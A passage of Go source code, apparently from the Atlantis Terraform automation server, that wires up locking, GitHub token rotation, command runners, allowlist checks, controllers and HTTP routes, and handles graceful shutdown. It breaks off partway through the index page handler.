locking.NewClient(database)\n\t}\n\tdisableGlobalApplyLock := userConfig.DisableGlobalApplyLock\n\n\tapplyLockingClient = locking.NewApplyClient(database, disableApply, disableGlobalApplyLock)\n\tworkingDirLocker := events.NewDefaultWorkingDirLocker()\n\n\tvar workingDir events.WorkingDir = &events.FileWorkspace{\n\t\tDataDir:          userConfig.DataDir,\n\t\tCheckoutMerge:    userConfig.CheckoutStrategy == \"merge\",\n\t\tCheckoutDepth:    userConfig.CheckoutDepth,\n\t\tGithubAppEnabled: githubAppEnabled,\n\t}\n\n\tscheduledExecutorService := scheduled.NewExecutorService(\n\t\tstatsScope,\n\t\tlogger,\n\t)\n\n\t// provide fresh tokens before clone from the GitHub Apps integration, proxy workingDir\n\tif githubAppEnabled {\n\t\tif !userConfig.WriteGitCreds {\n\t\t\treturn nil, errors.New(\"github App requires --write-git-creds to support cloning\")\n\t\t}\n\t\tworkingDir = &events.GithubAppWorkingDir{\n\t\t\tWorkingDir:     workingDir,\n\t\t\tCredentials:    githubCredentials,\n\t\t\tGithubHostname: userConfig.GithubHostname,\n\t\t}\n\n\t\tgithubAppTokenRotator := github.NewTokenRotator(logger, githubCredentials, userConfig.GithubHostname, \"x-access-token\", home)\n\t\ttokenJd, err := githubAppTokenRotator.GenerateJob()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not write credentials: %w\", err)\n\t\t}\n\t\tscheduledExecutorService.AddJob(tokenJd)\n\t}\n\n\tif userConfig.GithubUser != \"\" && userConfig.GithubTokenFile != \"\" && userConfig.WriteGitCreds {\n\t\tgithubTokenRotator := github.NewTokenRotator(logger, githubCredentials, userConfig.GithubHostname, userConfig.GithubUser, home)\n\t\ttokenJd, err := githubTokenRotator.GenerateJob()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not write credentials: %w\", err)\n\t\t}\n\t\tscheduledExecutorService.AddJob(tokenJd)\n\t}\n\n\tprojectLocker := &events.DefaultProjectLocker{\n\t\tLocker:     lockingClient,\n\t\tNoOpLocker: noOpLocker,\n\t\tVCSClient:  vcsClient,\n\t}\n\tdeleteLockCommand := &events.DefaultDeleteLockCommand{\n\t\tLocker:           lockingClient,\n\t\tWorkingDir:       workingDir,\n\t\tWorkingDirLocker: workingDirLocker,\n\t\tDatabase:         database,\n\t}\n\n\tpullClosedExecutor := events.NewInstrumentedPullClosedExecutor(\n\t\tstatsScope,\n\t\tlogger,\n\t\t&events.PullClosedExecutor{\n\t\t\tLocker:                   lockingClient,\n\t\t\tWorkingDir:               workingDir,\n\t\t\tDatabase:                 database,\n\t\t\tPullClosedTemplate:       &events.PullClosedEventTemplate{},\n\t\t\tLogStreamResourceCleaner: projectCmdOutputHandler,\n\t\t\tVCSClient:                vcsClient,\n\t\t},\n\t)\n\n\teventParser := &events.EventParser{\n\t\tGithubUser:         userConfig.GithubUser,\n\t\tGithubToken:        userConfig.GithubToken,\n\t\tGithubTokenFile:    userConfig.GithubTokenFile,\n\t\tGitlabUser:         userConfig.GitlabUser,\n\t\tGitlabToken:        userConfig.GitlabToken,\n\t\tGiteaUser:          userConfig.GiteaUser,\n\t\tGiteaToken:         userConfig.GiteaToken,\n\t\tAllowDraftPRs:      userConfig.PlanDrafts,\n\t\tBitbucketUser:      userConfig.BitbucketUser,\n\t\tBitbucketToken:     userConfig.BitbucketToken,\n\t\tBitbucketServerURL: userConfig.BitbucketBaseURL,\n\t\tAzureDevopsUser:    userConfig.AzureDevopsUser,\n\t\tAzureDevopsToken:   userConfig.AzureDevopsToken,\n\t}\n\tcommentParser := events.NewCommentParser(\n\t\tuserConfig.GithubUser,\n\t\tuserConfig.GitlabUser,\n\t\tuserConfig.GiteaUser,\n\t\tuserConfig.BitbucketUser,\n\t\tuserConfig.AzureDevopsUser,\n\t\tuserConfig.ExecutableName,\n\t\tallowCommands,\n\t)\n\tdefaultTfDistribution := terraformClient.DefaultDistribution()\n\tdefaultTfVersion := terraformClient.DefaultVersion()\n\tpendingPlanFinder := &events.DefaultPendingPlanFinder{}\n\trunStepRunner := &runtime.RunStepRunner{\n\t\tTerraformExecutor:       terraformClient,\n\t\tDefaultTFDistribution:   defaultTfDistribution,\n\t\tDefaultTFVersion:        defaultTfVersion,\n\t\tTerraformBinDir:         terraformClient.TerraformBinDir(),\n\t\tProjectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tdrainer := &events.Drainer{}\n\tstatusController := &controllers.StatusController{\n\t\tLogger:          logger,\n\t\tDrainer:         drainer,\n\t\tAtlantisVersion: config.AtlantisVersion,\n\t}\n\tpreWorkflowHooksCommandRunner := &events.DefaultPreWorkflowHooksCommandRunner{\n\t\tVCSClient:        vcsClient,\n\t\tGlobalCfg:        globalCfg,\n\t\tWorkingDirLocker: workingDirLocker,\n\t\tWorkingDir:       workingDir,\n\t\tPreWorkflowHookRunner: runtime.DefaultPreWorkflowHookRunner{\n\t\t\tOutputHandler: projectCmdOutputHandler,\n\t\t},\n\t\tCommitStatusUpdater: commitStatusUpdater,\n\t\tRouter:              router,\n\t}\n\tpostWorkflowHooksCommandRunner := &events.DefaultPostWorkflowHooksCommandRunner{\n\t\tVCSClient:        vcsClient,\n\t\tGlobalCfg:        globalCfg,\n\t\tWorkingDirLocker: workingDirLocker,\n\t\tWorkingDir:       workingDir,\n\t\tPostWorkflowHookRunner: runtime.DefaultPostWorkflowHookRunner{\n\t\t\tOutputHandler: projectCmdOutputHandler,\n\t\t},\n\t\tCommitStatusUpdater: commitStatusUpdater,\n\t\tRouter:              router,\n\t}\n\tprojectCommandBuilder := events.NewInstrumentedProjectCommandBuilder(\n\t\tlogger,\n\t\tpolicyChecksEnabled,\n\t\tparserValidator,\n\t\t&events.DefaultProjectFinder{},\n\t\tvcsClient,\n\t\tworkingDir,\n\t\tworkingDirLocker,\n\t\tglobalCfg,\n\t\tpendingPlanFinder,\n\t\tcommentParser,\n\t\tuserConfig.SkipCloneNoChanges,\n\t\tuserConfig.EnableRegExpCmd,\n\t\tuserConfig.Automerge,\n\t\tuserConfig.ParallelPlan,\n\t\tuserConfig.ParallelApply,\n\t\tuserConfig.AutoplanModulesFromProjects,\n\t\tuserConfig.AutoplanFileList,\n\t\tuserConfig.RestrictFileList,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\tuserConfig.AutoDiscoverModeFlag,\n\t\tstatsScope,\n\t\tterraformClient,\n\t)\n\n\tshowStepRunner, err := runtime.NewShowStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"initializing show step runner: %w\", err)\n\t}\n\n\tpolicyCheckStepRunner, err := runtime.NewPolicyCheckStepRunner(\n\t\tdefaultTfDistribution,\n\t\tdefaultTfVersion,\n\t\tpolicy.NewConfTestExecutorWorkflow(logger, binDir, &policy.ConfTestGoGetterVersionDownloader{}),\n\t)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"initializing policy check step runner: %w\", err)\n\t}\n\n\tapplyRequirementHandler := &events.DefaultCommandRequirementHandler{\n\t\tWorkingDir: workingDir,\n\t}\n\n\tcancellationTracker := events.NewCancellationTracker()\n\n\tprojectCommandRunner := &events.DefaultProjectCommandRunner{\n\t\tVcsClient:        vcsClient,\n\t\tLocker:           projectLocker,\n\t\tLockURLGenerator: router,\n\t\tLogger:           logger,\n\t\tInitStepRunner: &runtime.InitStepRunner{\n\t\t\tTerraformExecutor:     terraformClient,\n\t\t\tDefaultTFDistribution: defaultTfDistribution,\n\t\t\tDefaultTFVersion:      defaultTfVersion,\n\t\t},\n\t\tPlanStepRunner:        runtime.NewPlanStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion, commitStatusUpdater, terraformClient),\n\t\tShowStepRunner:        showStepRunner,\n\t\tPolicyCheckStepRunner: policyCheckStepRunner,\n\t\tApplyStepRunner: &runtime.ApplyStepRunner{\n\t\t\tTerraformExecutor:     terraformClient,\n\t\t\tDefaultTFDistribution: defaultTfDistribution,\n\t\t\tDefaultTFVersion:      defaultTfVersion,\n\t\t\tCommitStatusUpdater:   commitStatusUpdater,\n\t\t\tAsyncTFExec:           terraformClient,\n\t\t},\n\t\tRunStepRunner: runStepRunner,\n\t\tEnvStepRunner: &runtime.EnvStepRunner{\n\t\t\tRunStepRunner: runStepRunner,\n\t\t},\n\t\tMultiEnvStepRunner: &runtime.MultiEnvStepRunner{\n\t\t\tRunStepRunner: runStepRunner,\n\t\t},\n\t\tVersionStepRunner: &runtime.VersionStepRunner{\n\t\t\tTerraformExecutor:     terraformClient,\n\t\t\tDefaultTFDistribution: defaultTfDistribution,\n\t\t\tDefaultTFVersion:      defaultTfVersion,\n\t\t},\n\t\tImportStepRunner:          runtime.NewImportStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion),\n\t\tStateRmStepRunner:         runtime.NewStateRmStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion),\n\t\tWorkingDir:                workingDir,\n\t\tWebhooks:                  webhooksManager,\n\t\tWorkingDirLocker:          workingDirLocker,\n\t\tCommandRequirementHandler: applyRequirementHandler,\n\t\tCancellationTracker:       cancellationTracker,\n\t}\n\n\tdbUpdater := &events.DBUpdater{\n\t\tDatabase: database,\n\t}\n\n\tpullUpdater := &events.PullUpdater{\n\t\tHidePrevPlanComments: userConfig.HidePrevPlanComments,\n\t\tVCSClient:            vcsClient,\n\t\tMarkdownRenderer:     markdownRenderer,\n\t}\n\n\tautoMerger := &events.AutoMerger{\n\t\tVCSClient:       vcsClient,\n\t\tGlobalAutomerge: userConfig.Automerge,\n\t}\n\n\tprojectOutputWrapper := &events.ProjectOutputWrapper{\n\t\tJobMessageSender:     projectCmdOutputHandler,\n\t\tProjectCommandRunner: projectCommandRunner,\n\t\tJobURLSetter:         jobs.NewJobURLSetter(router, commitStatusUpdater),\n\t}\n\tinstrumentedProjectCmdRunner := events.NewInstrumentedProjectCommandRunner(\n\t\tstatsScope,\n\t\tprojectOutputWrapper,\n\t)\n\n\tpolicyCheckCommandRunner := events.NewPolicyCheckCommandRunner(\n\t\tdbUpdater,\n\t\tpullUpdater,\n\t\tcommitStatusUpdater,\n\t\tinstrumentedProjectCmdRunner,\n\t\tuserConfig.ParallelPoolSize,\n\t\tuserConfig.SilenceVCSStatusNoProjects,\n\t\tuserConfig.QuietPolicyChecks,\n\t)\n\n\tpullReqStatusFetcher := vcs.NewPullReqStatusFetcher(vcsClient, userConfig.VCSStatusName, strings.Split(userConfig.IgnoreVCSStatusNames, \",\"))\n\tplanCommandRunner := events.NewPlanCommandRunner(\n\t\tuserConfig.SilenceVCSStatusNoPlans,\n\t\tuserConfig.SilenceVCSStatusNoProjects,\n\t\tvcsClient,\n\t\tpendingPlanFinder,\n\t\tworkingDir,\n\t\tcommitStatusUpdater,\n\t\tprojectCommandBuilder,\n\t\tinstrumentedProjectCmdRunner,\n\t\tcancellationTracker,\n\t\tdbUpdater,\n\t\tpullUpdater,\n\t\tpolicyCheckCommandRunner,\n\t\tautoMerger,\n\t\tuserConfig.ParallelPoolSize,\n\t\tuserConfig.SilenceNoProjects,\n\t\tdatabase,\n\t\tlockingClient,\n\t\tuserConfig.DiscardApprovalOnPlanFlag,\n\t\tpullReqStatusFetcher,\n\t\tuserConfig.PendingApplyStatus,\n\t)\n\n\tapplyCommandRunner := events.NewApplyCommandRunner(\n\t\tvcsClient,\n\t\tuserConfig.DisableApplyAll,\n\t\tapplyLockingClient,\n\t\tcommitStatusUpdater,\n\t\tprojectCommandBuilder,\n\t\tinstrumentedProjectCmdRunner,\n\t\tcancellationTracker,\n\t\tautoMerger,\n\t\tpullUpdater,\n\t\tdbUpdater,\n\t\tdatabase,\n\t\tuserConfig.ParallelPoolSize,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.SilenceVCSStatusNoProjects,\n\t\tpullReqStatusFetcher,\n\t)\n\n\tapprovePoliciesCommandRunner := events.NewApprovePoliciesCommandRunner(\n\t\tcommitStatusUpdater,\n\t\tprojectCommandBuilder,\n\t\tinstrumentedProjectCmdRunner,\n\t\tpullUpdater,\n\t\tdbUpdater,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.SilenceVCSStatusNoPlans,\n\t\tvcsClient,\n\t)\n\n\tunlockCommandRunner := events.NewUnlockCommandRunner(\n\t\tdeleteLockCommand,\n\t\tvcsClient,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.DisableUnlockLabel,\n\t)\n\n\tversionCommandRunner := events.NewVersionCommandRunner(\n\t\tpullUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectOutputWrapper,\n\t\tuserConfig.ParallelPoolSize,\n\t\tuserConfig.SilenceNoProjects,\n\t)\n\n\timportCommandRunner := events.NewImportCommandRunner(\n\t\tpullUpdater,\n\t\tpullReqStatusFetcher,\n\t\tprojectCommandBuilder,\n\t\tinstrumentedProjectCmdRunner,\n\t\tuserConfig.SilenceNoProjects,\n\t)\n\n\tstateCommandRunner := events.NewStateCommandRunner(\n\t\tpullUpdater,\n\t\tprojectCommandBuilder,\n\t\tinstrumentedProjectCmdRunner,\n\t)\n\n\tcancelCommandRunner := events.NewCancelCommandRunner(\n\t\tvcsClient,\n\t\tprojectOutputWrapper.ProjectCommandRunner,\n\t\tpullUpdater,\n\t\tworkingDirLocker,\n\t\tuserConfig.SilenceNoProjects,\n\t)\n\n\tcommentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{\n\t\tcommand.Plan:            planCommandRunner,\n\t\tcommand.Apply:           applyCommandRunner,\n\t\tcommand.ApprovePolicies: approvePoliciesCommandRunner,\n\t\tcommand.Unlock:          unlockCommandRunner,\n\t\tcommand.Version:         versionCommandRunner,\n\t\tcommand.Import:          importCommandRunner,\n\t\tcommand.State:           stateCommandRunner,\n\t\tcommand.Cancel:          cancelCommandRunner,\n\t}\n\n\tvar teamAllowlistChecker command.TeamAllowlistChecker\n\tif globalCfg.TeamAuthz.Command != \"\" {\n\t\tteamAllowlistChecker = &events.ExternalTeamAllowlistChecker{\n\t\t\tCommand:                     globalCfg.TeamAuthz.Command,\n\t\t\tExtraArgs:                   globalCfg.TeamAuthz.Args,\n\t\t\tExternalTeamAllowlistRunner: &runtime.DefaultExternalTeamAllowlistRunner{},\n\t\t}\n\t} else if userConfig.GitlabUser != \"\" {\n\t\tteamAllowlistChecker, err = command.NewTeamAllowlistChecker(userConfig.GitlabGroupAllowlist)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tteamAllowlistChecker, err = command.NewTeamAllowlistChecker(userConfig.GithubTeamAllowlist)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tvarFileAllowlistChecker, err := events.NewVarFileAllowlistChecker(userConfig.VarFileAllowlist)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcommandRunner := &events.DefaultCommandRunner{\n\t\tVCSClient:                      vcsClient,\n\t\tGithubPullGetter:               githubClient,\n\t\tGitlabMergeRequestGetter:       gitlabClient,\n\t\tAzureDevopsPullGetter:          azuredevopsClient,\n\t\tGiteaPullGetter:                giteaClient,\n\t\tCommentCommandRunnerByCmd:      commentCommandRunnerByCmd,\n\t\tEventParser:                    eventParser,\n\t\tFailOnPreWorkflowHookError:     userConfig.FailOnPreWorkflowHookError,\n\t\tLogger:                         logger,\n\t\tGlobalCfg:                      globalCfg,\n\t\tStatsScope:                     statsScope.SubScope(\"cmd\"),\n\t\tAllowForkPRs:                   userConfig.AllowForkPRs,\n\t\tAllowForkPRsFlag:               config.AllowForkPRsFlag,\n\t\tSilenceForkPRErrors:            userConfig.SilenceForkPRErrors,\n\t\tSilenceForkPRErrorsFlag:        config.SilenceForkPRErrorsFlag,\n\t\tSilenceVCSStatusNoProjects:     userConfig.SilenceVCSStatusNoProjects,\n\t\tDisableAutoplan:                userConfig.DisableAutoplan,\n\t\tDisableAutoplanLabel:           userConfig.DisableAutoplanLabel,\n\t\tDrainer:                        drainer,\n\t\tPreWorkflowHooksCommandRunner:  preWorkflowHooksCommandRunner,\n\t\tPostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner,\n\t\tPullStatusFetcher:              database,\n\t\tTeamAllowlistChecker:           teamAllowlistChecker,\n\t\tVarFileAllowlistChecker:        varFileAllowlistChecker,\n\t\tCommitStatusUpdater:            commitStatusUpdater,\n\t}\n\trepoAllowlist, err := events.NewRepoAllowlistChecker(userConfig.RepoAllowlist)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlocksController := &controllers.LocksController{\n\t\tAtlantisVersion:    config.AtlantisVersion,\n\t\tAtlantisURL:        parsedURL,\n\t\tLocker:             lockingClient,\n\t\tApplyLocker:        applyLockingClient,\n\t\tLogger:             logger,\n\t\tVCSClient:          vcsClient,\n\t\tLockDetailTemplate: web_templates.LockTemplate,\n\t\tWorkingDir:         workingDir,\n\t\tWorkingDirLocker:   workingDirLocker,\n\t\tDatabase:           database,\n\t\tDeleteLockCommand:  deleteLockCommand,\n\t}\n\n\twsMux := websocket.NewMultiplexor(\n\t\tlogger,\n\t\tcontrollers.JobIDKeyGenerator{},\n\t\tprojectCmdOutputHandler,\n\t\tuserConfig.WebsocketCheckOrigin,\n\t)\n\n\tjobsController := &controllers.JobsController{\n\t\tAtlantisVersion:          config.AtlantisVersion,\n\t\tAtlantisURL:              parsedURL,\n\t\tLogger:                   logger,\n\t\tProjectJobsTemplate:      web_templates.ProjectJobsTemplate,\n\t\tProjectJobsErrorTemplate: web_templates.ProjectJobsErrorTemplate,\n\t\tDatabase:                 database,\n\t\tWsMux:                    wsMux,\n\t\tKeyGenerator:             controllers.JobIDKeyGenerator{},\n\t\tStatsScope:               statsScope.SubScope(\"api\"),\n\t}\n\n\tapiController := &controllers.APIController{\n\t\tAPISecret:                      []byte(userConfig.APISecret),\n\t\tLocker:                         lockingClient,\n\t\tLogger:                         logger,\n\t\tParser:                         eventParser,\n\t\tProjectCommandBuilder:          projectCommandBuilder,\n\t\tProjectPlanCommandRunner:       instrumentedProjectCmdRunner,\n\t\tProjectApplyCommandRunner:      instrumentedProjectCmdRunner,\n\t\tFailOnPreWorkflowHookError:     userConfig.FailOnPreWorkflowHookError,\n\t\tPreWorkflowHooksCommandRunner:  preWorkflowHooksCommandRunner,\n\t\tPostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner,\n\t\tRepoAllowlistChecker:           repoAllowlist,\n\t\tScope:                          statsScope.SubScope(\"api\"),\n\t\tVCSClient:                      vcsClient,\n\t\tWorkingDir:                     workingDir,\n\t\tWorkingDirLocker:               workingDirLocker,\n\t\tCommitStatusUpdater:            commitStatusUpdater,\n\t\tSilenceVCSStatusNoProjects:     userConfig.SilenceVCSStatusNoProjects,\n\t}\n\n\teventsController := &events_controllers.VCSEventsController{\n\t\tCommandRunner:                   commandRunner,\n\t\tPullCleaner:                     pullClosedExecutor,\n\t\tParser:                          eventParser,\n\t\tCommentParser:                   commentParser,\n\t\tLogger:                          logger,\n\t\tScope:                           statsScope,\n\t\tApplyDisabled:                   disableApply,\n\t\tGithubWebhookSecret:             []byte(userConfig.GithubWebhookSecret),\n\t\tGithubRequestValidator:          &events_controllers.DefaultGithubRequestValidator{},\n\t\tGitlabRequestParserValidator:    &events_controllers.DefaultGitlabRequestParserValidator{},\n\t\tGitlabWebhookSecret:             []byte(userConfig.GitlabWebhookSecret),\n\t\tRepoAllowlistChecker:            repoAllowlist,\n\t\tSilenceAllowlistErrors:          userConfig.SilenceAllowlistErrors,\n\t\tEmojiReaction:                   userConfig.EmojiReaction,\n\t\tExecutableName:                  userConfig.ExecutableName,\n\t\tSupportedVCSHosts:               supportedVCSHosts,\n\t\tVCSClient:                       vcsClient,\n\t\tBitbucketWebhookSecret:          []byte(userConfig.BitbucketWebhookSecret),\n\t\tAzureDevopsWebhookBasicUser:     []byte(userConfig.AzureDevopsWebhookUser),\n\t\tAzureDevopsWebhookBasicPassword: []byte(userConfig.AzureDevopsWebhookPassword),\n\t\tAzureDevopsRequestValidator:     &events_controllers.DefaultAzureDevopsRequestValidator{},\n\t\tGiteaWebhookSecret:              []byte(userConfig.GiteaWebhookSecret),\n\t}\n\tgithubAppController := &controllers.GithubAppController{\n\t\tAtlantisURL:         parsedURL,\n\t\tLogger:              logger,\n\t\tGithubSetupComplete: githubAppEnabled,\n\t\tGithubHostname:      userConfig.GithubHostname,\n\t\tGithubOrg:           userConfig.GithubOrg,\n\t}\n\n\tserver := &Server{\n\t\tAtlantisVersion:                config.AtlantisVersion,\n\t\tAtlantisURL:                    parsedURL,\n\t\tRouter:                         underlyingRouter,\n\t\tPort:                           userConfig.Port,\n\t\tPostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner,\n\t\tPreWorkflowHooksCommandRunner:  preWorkflowHooksCommandRunner,\n\t\tCommandRunner:                  commandRunner,\n\t\tLogger:                         logger,\n\t\tStatsScope:                     statsScope,\n\t\tStatsReporter:                  statsReporter,\n\t\tStatsCloser:                    closer,\n\t\tLocker:                         lockingClient,\n\t\tApplyLocker:                    applyLockingClient,\n\t\tVCSEventsController:            eventsController,\n\t\tGithubAppController:            githubAppController,\n\t\tLocksController:                locksController,\n\t\tJobsController:                 jobsController,\n\t\tStatusController:               statusController,\n\t\tAPIController:                  apiController,\n\t\tIndexTemplate:                  web_templates.IndexTemplate,\n\t\tLockDetailTemplate:             web_templates.LockTemplate,\n\t\tProjectJobsTemplate:            web_templates.ProjectJobsTemplate,\n\t\tProjectJobsErrorTemplate:       web_templates.ProjectJobsErrorTemplate,\n\t\tSSLKeyFile:                     userConfig.SSLKeyFile,\n\t\tSSLCertFile:                    userConfig.SSLCertFile,\n\t\tDisableGlobalApplyLock:         userConfig.DisableGlobalApplyLock,\n\t\tDrainer:                        drainer,\n\t\tProjectCmdOutputHandler:        projectCmdOutputHandler,\n\t\tWebAuthentication:              userConfig.WebBasicAuth,\n\t\tWebUsername:                    userConfig.WebUsername,\n\t\tWebPassword:                    userConfig.WebPassword,\n\t\tScheduledExecutorService:       scheduledExecutorService,\n\t\tEnableProfilingAPI:             userConfig.EnableProfilingAPI,\n\t\tdatabase:                       database,\n\t}\n\n\tvalidate := validator.New(validator.WithRequiredStructEnabled())\n\n\terr = validate.Struct(server)\n\tif err != nil {\n\t\treturn nil, err\n\t} else {\n\t\treturn server, nil\n\t}\n}\n\n// Start creates the routes and starts serving traffic.\nfunc (s *Server) Start() error {\n\ts.Router.HandleFunc(\"/\", s.Index).Methods(\"GET\").MatcherFunc(func(r *http.Request, rm *mux.RouteMatch) bool {\n\t\treturn r.URL.Path == \"/\" || r.URL.Path == \"/index.html\"\n\t})\n\ts.Router.HandleFunc(\"/healthz\", s.Healthz).Methods(\"GET\")\n\ts.Router.HandleFunc(\"/status\", s.StatusController.Get).Methods(\"GET\")\n\ts.Router.PathPrefix(\"/static/\").Handler(http.FileServer(http.FS(staticAssets)))\n\ts.Router.HandleFunc(\"/events\", s.VCSEventsController.Post).Methods(\"POST\")\n\ts.Router.HandleFunc(\"/api/plan\", s.APIController.Plan).Methods(\"POST\")\n\ts.Router.HandleFunc(\"/api/apply\", s.APIController.Apply).Methods(\"POST\")\n\ts.Router.HandleFunc(\"/api/locks\", s.APIController.ListLocks).Methods(\"GET\")\n\ts.Router.HandleFunc(\"/github-app/exchange-code\", s.GithubAppController.ExchangeCode).Methods(\"GET\")\n\ts.Router.HandleFunc(\"/github-app/setup\", s.GithubAppController.New).Methods(\"GET\")\n\ts.Router.HandleFunc(\"/locks\", s.LocksController.DeleteLock).Methods(\"DELETE\").Queries(\"id\", \"{id:.*}\")\n\ts.Router.HandleFunc(\"/lock\", s.LocksController.GetLock).Methods(\"GET\").\n\t\tQueries(LockViewRouteIDQueryParam, fmt.Sprintf(\"{%s}\", LockViewRouteIDQueryParam)).Name(LockViewRouteName)\n\ts.Router.HandleFunc(\"/jobs/{job-id}\", s.JobsController.GetProjectJobs).Methods(\"GET\").Name(ProjectJobsViewRouteName)\n\ts.Router.HandleFunc(\"/jobs/{job-id}/ws\", s.JobsController.GetProjectJobsWS).Methods(\"GET\")\n\n\tr, ok := s.StatsReporter.(prometheus.Reporter)\n\tif ok {\n\t\ts.Router.Handle(s.CommandRunner.GlobalCfg.Metrics.Prometheus.Endpoint, r.HTTPHandler())\n\t}\n\tif !s.DisableGlobalApplyLock {\n\t\ts.Router.HandleFunc(\"/apply/lock\", s.LocksController.LockApply).Methods(\"POST\").Queries()\n\t\ts.Router.HandleFunc(\"/apply/unlock\", s.LocksController.UnlockApply).Methods(\"DELETE\").Queries()\n\t}\n\n\tif s.EnableProfilingAPI {\n\t\tfor p, h := range map[string]http.HandlerFunc{\n\t\t\t\"/\":        pprof.Index,\n\t\t\t\"/cmdline\": pprof.Cmdline,\n\t\t\t\"/profile\": pprof.Profile,\n\t\t\t\"/symbol\":  pprof.Symbol,\n\t\t\t\"/trace\":   pprof.Trace,\n\t\t} {\n\t\t\ts.Router.HandleFunc(\"/debug/pprof\"+p, h).Methods(\"GET\")\n\t\t}\n\t}\n\n\tn := negroni.New(&negroni.Recovery{\n\t\tLogger:     log.New(os.Stdout, \"\", log.LstdFlags),\n\t\tPrintStack: false,\n\t\tStackAll:   false,\n\t\tStackSize:  1024 * 8,\n\t}, NewRequestLogger(s))\n\tn.UseHandler(s.Router)\n\n\tdefer s.Logger.Flush()\n\n\t// Ensure server gracefully drains connections when stopped.\n\tstop := make(chan os.Signal, 1)\n\t// Stop on SIGINTs and SIGTERMs.\n\tsignal.Notify(stop, os.Interrupt, syscall.SIGTERM)\n\n\tgo s.ScheduledExecutorService.Run()\n\n\tgo func() {\n\t\ts.ProjectCmdOutputHandler.Handle()\n\t}()\n\n\ttlsConfig := &tls.Config{GetCertificate: s.GetSSLCertificate, MinVersion: tls.VersionTLS12}\n\n\tserver := &http.Server{Addr: fmt.Sprintf(\":%d\", s.Port), Handler: n, TLSConfig: tlsConfig, ReadHeaderTimeout: 10 * time.Second}\n\tgo func() {\n\t\ts.Logger.Info(\"Atlantis started - listening on port %v\", s.Port)\n\n\t\tvar err error\n\t\tif s.SSLCertFile != \"\" && s.SSLKeyFile != \"\" {\n\t\t\terr = server.ListenAndServeTLS(\"\", \"\")\n\t\t} else {\n\t\t\terr = server.ListenAndServe()\n\t\t}\n\n\t\tif err != nil && err != http.ErrServerClosed {\n\t\t\ts.Logger.Err(err.Error())\n\t\t}\n\t}()\n\t<-stop\n\n\ts.Logger.Warn(\"Received interrupt. Waiting for in-progress operations to complete\")\n\ts.waitForDrain()\n\n\t// flush stats before shutdown\n\tif err := s.StatsCloser.Close(); err != nil {\n\t\ts.Logger.Err(err.Error())\n\t}\n\n\t// Attempt to close the database\n\tif err := s.closeDatabase(1 * time.Second); err != nil {\n\t\ts.Logger.Err(\"while closing database: %v\", err)\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tif err := server.Shutdown(ctx); err != nil {\n\t\treturn fmt.Errorf(\"while shutting down: %s\", err)\n\t}\n\treturn nil\n}\n\n// waitForDrain blocks until draining is complete.\nfunc (s *Server) waitForDrain() {\n\tdrainComplete := make(chan bool, 1)\n\tgo func() {\n\t\ts.Drainer.ShutdownBlocking()\n\t\tdrainComplete <- true\n\t}()\n\tticker := time.NewTicker(5 * time.Second)\n\tfor {\n\t\tselect {\n\t\tcase <-drainComplete:\n\t\t\ts.Logger.Info(\"All in-progress operations complete, shutting down\")\n\t\t\treturn\n\t\tcase <-ticker.C:\n\t\t\ts.Logger.Info(\"Waiting for in-progress operations to complete, current in-progress ops: %d\", s.Drainer.GetStatus().InProgressOps)\n\t\t}\n\t}\n}\n\n// closeDatabase attempts to close the database, waiting up to the given timeout.\nfunc (s *Server) closeDatabase(timeout time.Duration) error {\n\tif s.database == nil {\n\t\treturn nil\n\t}\n\ts.Logger.Info(\"Shutting down database\")\n\n\tdone := make(chan error, 1)\n\tgo func() { done <- s.database.Close() }()\n\tselect {\n\tcase err := <-done:\n\t\treturn err\n\tcase <-time.After(timeout):\n\t\treturn fmt.Errorf(\"database close timed out after %s\", timeout)\n\t}\n}\n\n// Index is the / route.\nfunc (s *Server) Index(w http.ResponseWriter, _ *http.Request) {\n\tlocks, err := s.Locker.List()\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusServiceUnavailable)\n\t\tfmt.Fprintf(w, \"Could not retrieve locks: %s\", err)\n\t\treturn\n\t}\n\n\tvar lockResults []web_templates.LockIndexData\n\tfor id, v := range locks {\n\t\tlockURL, _ := s.Router.Get(LockViewRouteName).URL(\"id\", url.QueryEscape(id))\n\t\tlockResults = append(lockResults, web_templates.LockIndexData{\n\t\t\t// NOTE: must use .String() instead of .Path because we need the\n\t\t\t// query params as part of the lock URL.\n\t\t\tLockPath:      lockURL.String(),\n\t\t\tRepoFullName:  v.Project.RepoFullName,\n\t\t\tLockedBy:      v.Pull.Author,\n\t\t\tPullNum:       v.Pull.Num,\n\t\t\tPath:          v.Project.Path,\n\t\t\tWorkspace:     v.Workspace,\n\t\t\tTime:          v.Time,\n\t\t\tTimeFormatted: v.Time.Format(\"2006-01-02 15:04:05\"),\n\t\t})\n\t}\n\n\tapplyCmdLock, err := s.ApplyLocker.CheckApplyLock()\n\ts.Logger.Debug(\"Apply Lock: %v\", applyCmdLock)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusServiceUnavailable)\n\t\tfmt.Fprintf(w, \"Could not retrieve global apply lock: %s\", err)\n\t\treturn\n\t}\n\n\tapplyLockData := web_templates.ApplyLockData{\n\t\tTime:                   applyCmdLock.Time,\n\t\tLocked:                 